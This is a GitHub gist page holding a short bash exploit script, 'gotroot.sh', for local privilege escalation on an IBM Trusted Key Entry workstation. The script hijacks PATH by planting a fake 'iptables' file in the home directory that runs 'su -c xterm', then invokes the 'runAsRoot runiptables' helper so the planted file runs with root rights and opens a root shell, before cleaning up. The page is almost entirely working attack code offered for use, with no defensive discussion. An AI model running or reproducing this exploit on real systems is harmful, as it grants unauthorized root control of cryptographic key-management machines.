Skip to content

Instantly share code, notes, and snippets.

@ykoster ykoster/gotroot.sh
Created Mar 31, 2019

Embed
What would you like to do?
IBM Trusted Key Entry (TKE) workstation local privilege escalation
#!/bin/bash
OLDPATH=$PATH
trap cleanup EXIT
export PATH=.:$PATH
/bin/cat > $HOME/iptables << __EOF
#!/bin/bash
/bin/su -c /usr/bin/xterm
__EOF
/bin/chmod +x $HOME/iptables
cd $HOME
/console/bin/framework/runAsRoot runiptables
function cleanup()
{
export PATH=$OLDPATH
rm -f $HOME/iptables
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.